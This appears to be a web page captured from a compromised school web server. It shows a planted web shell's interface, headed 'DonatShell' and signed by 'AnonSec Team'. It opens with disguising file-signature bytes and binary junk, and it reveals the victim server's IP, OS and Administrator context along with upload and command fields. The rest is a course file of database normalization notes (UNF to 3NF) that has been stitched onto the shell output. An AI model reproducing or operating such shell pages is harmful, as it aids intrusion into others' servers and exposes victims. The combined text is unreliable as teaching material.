GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1600/Resources/Week/12/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1600/Resources/Week/12/notes.txt
* (asterisk) to denote a primary key field.
@ (at sign) to denote a foreign key field.
^ (caret) to denote a unique field that is not a primary key.

UNF:
Student_Grade_Report (StudentNo*, StudentName, Major, CourseNo, CourseName, InstructorNo, InstructorName, InstructorLocation, Grade)

Problem:
In the Student Grade Report table, the repeating group is the course information. A student can take many courses.

1NF:
Student (StudentNo*, StudentName, Major)
StudentCourse (StudentNo*@, CourseNo*, CourseName, InstructorNo, InstructorName, InstructorLocation, Grade)

Problem:
To add a new course, we need a student.
When course information needs to be updated, we may have inconsistencies (CourseName).
To delete a student, we might also delete critical information about a course.

2NF:
Student (StudentNo*, StudentName, Major)
CourseGrade (StudentNo*@, CourseNo*@, Grade)
CourseInstructor (CourseNo*, CourseName, InstructorNo, InstructorName, InstructorLocation)

Problem:
When adding a new instructor, we need a course.
Updating course information could lead to inconsistencies for instructor information.
Deleting a course may also delete instructor information.

3NF:
Student (StudentNo*, StudentName, Major)
CourseGrade (StudentNo*@, CourseNo*@, Grade)
Course (CourseNo*, CourseName, InstructorNo@)
Instructor (InstructorNo*, InstructorName, InstructorLocation)

Jim:
Student (StudentNo*, StudentName, MajorNo@)
CourseGrade (StudentNo*@, CourseNo*@, Grade)
Course (CourseNo*, CourseName, InstructorNo@)
Instructor (InstructorNo*, InstructorName, InstructorLocation)
Major(MajorNo*,Major)


UNF:
emp_id	emp_name		emp_mobile	emp_skills
1		John Tick		9999957773	Python, JavaScript
2		Darth Trader	8888853337	HTML, CSS, JavaScript
3		Rony Shark		7777720008	Java, Linux, C++

1NF:
employee(	emp_id*,	emp_firstName,	emp_lastName)
			1			John 			Tick	
			2			Darth 			Trader
			3			Rony 			Shark	
employeeskill(	emp_id*@, 	skill*)
				1			Pytho
				1			JavaScript
				2			HTML
				2			CSS
				2			JavaScript
				3			Java
				3			Linux
				3			C++


UNF:
employee(
Emp_Id*	Emp_Name	Emp_Address	Emp_Dept*)
101		Rick		Delhi		D001
101	    Rick	    Delhi	    D002
123	    Maggie	    Agra	    D890
166	    Glenn	    Chennai	    D900
166	    Glenn	    Chennai	    D004

1NF: OK
2NF:
employee(
Emp_Id*	Emp_Name	Emp_Address)
101		Rick		Delhi		
101	    Rick	    Delhi	   
123	    Maggie	    Agra	   
166	    Glenn	    Chennai	   
166	    Glenn	    Chennai	   
employee_dept(
Emp_Id*,	Emp_Dept*)
101			D001
101			D002
123			D890
166			D900
166			D004

Anon7 - 2022
AnonSec Team